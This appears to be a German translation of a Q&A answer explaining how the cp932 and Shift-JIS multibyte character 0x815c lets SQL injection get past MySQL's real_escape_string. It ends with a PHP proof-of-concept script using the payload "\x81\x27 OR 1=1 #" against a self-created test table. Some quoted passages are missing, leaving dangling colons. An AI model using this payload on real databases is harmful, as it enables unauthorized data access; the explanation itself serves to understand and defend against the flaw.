Mysql
 sql >> Datenbank >  >> RDS >> Mysql

Wie erstellt man einen SQL-Injection-Angriff mit Shift-JIS und CP932?

Der Teufel steckt im Detail ... beginnen wir damit, wie auf die Frage antwortet beschreibt die Liste der gefährdeten Zeichensätze:

Dies gibt uns etwas Kontext - 0xbf5c wird als Beispiel für gbk verwendet , nicht als universelles Zeichen für alle 5 Zeichensätze.
Zufälligerweise ist die gleiche Bytefolge auch ein gültiges Zeichen unter big5 und gb2312 .

An dieser Stelle wird Ihre Frage so einfach:

Um fair zu sein, die meisten Google-Suchanfragen, die ich nach diesen Zeichensätzen durchgeführt habe, liefern keine brauchbaren Ergebnisse. Aber ich habe diese CP932.TXT-Datei gefunden , in dem Sie nach '5c ' suchen (mit dem Leerzeichen dort) springen Sie zu dieser Zeile:

Und wir haben einen Gewinner! :)

Einige Oracle-Dokumente bestätigt, dass 0x815c ist das gleiche Zeichen für beide cp932 und sjis und PHP erkennt es auch:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Hier ist ein PoC-Skript für den Angriff:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}